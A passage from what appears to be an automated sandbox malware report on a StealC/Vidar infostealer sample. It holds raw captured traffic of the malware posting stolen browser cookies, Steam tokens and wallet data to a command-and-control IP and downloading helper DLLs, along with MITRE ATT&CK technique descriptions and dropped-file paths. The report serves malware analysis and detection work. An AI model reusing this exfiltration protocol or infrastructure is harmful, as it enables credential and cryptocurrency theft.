32 46 4c 63 57 46 58 53 6e 6c 49 54 56 42 47 4d 30 70 42 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 2d 2d 0d 0a Data Ascii: ------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6Y
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="file"------EHJDHJKFIECAAKFIJJKJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 2d 2d 0d 0a Data Ascii: ------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="file"------HDAKJDHIEBFIIDGDGDBA--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDBHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 44 41 41 45 43 47 48 44 47 44 47 43 47 48 44 42 2d 2d 0d 0a Data Ascii: ------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------JJJJDAAECGHDGDGCGHDBContent-Disposition: form-data; name="message"wallets------JJJJDAAECGHDGDGCGHDB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAAAKJKJEBGHJKFHIDGHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 2d 2d 0d 0a Data Ascii: ------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="message"files------BAAAAKJKJEBGHJKFHIDG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEBHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 2d 2d 0d 0a Data Ascii: ------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="file"------AAEHIDAKECFIEBGDHJEB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDGDBFBGIDGIEBGHCGIHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 42 46 42 47 49 44 47 49 45 42 47 48 43 47 49 2d 2d 0d 0a Data Ascii: ------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------KJDGDBFBGIDGIEBGHCGIContent-Disposition: form-data; name="message"ybncbhylepme------KJDGDBFBGIDGIEBGHCGI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGIIIDAKJDHJKFHIEBFHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 38 36 65 34 61 37 35 35 61 36 36 34 33 64 39 62 35 36 31 65 61 64 33 33 61 35 39 63 36 30 34 38 31 62 34 32 65 65 36 32 62 36 39 30 35 31 33 36 61 33 31 34 38 32 36 36 66 66 32 62 62 66 61 65 66 38 61 63 38 36 36 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 2d 2d 0d 0a Data Ascii: ------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="token"e86e4a755a6643d9b561ead33a59c60481b42ee62b6905136a3148266ff2bbfaef8ac866------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------ECGIIIDAKJDHJKFHIEBF--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFIIEHJDBKJKECBFHDGHJKEHIJ

C:\ProgramData\BGHIDGCA

C:\ProgramData\CAFIEBKKJJDAKFHIDBFHJDBFBA

C:\ProgramData\CGCFCFBK

C:\ProgramData\EHJDHJKFIECAAKFIJJKJ

C:\ProgramData\EHJKFCGHIDHCBGDHJKEBGDGIJE

C:\ProgramData\HDAKJDHIEBFIIDGDGDBA

C:\ProgramData\JJJJDAAECGHDGDGCGHDB

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Function 00539860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 005245C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
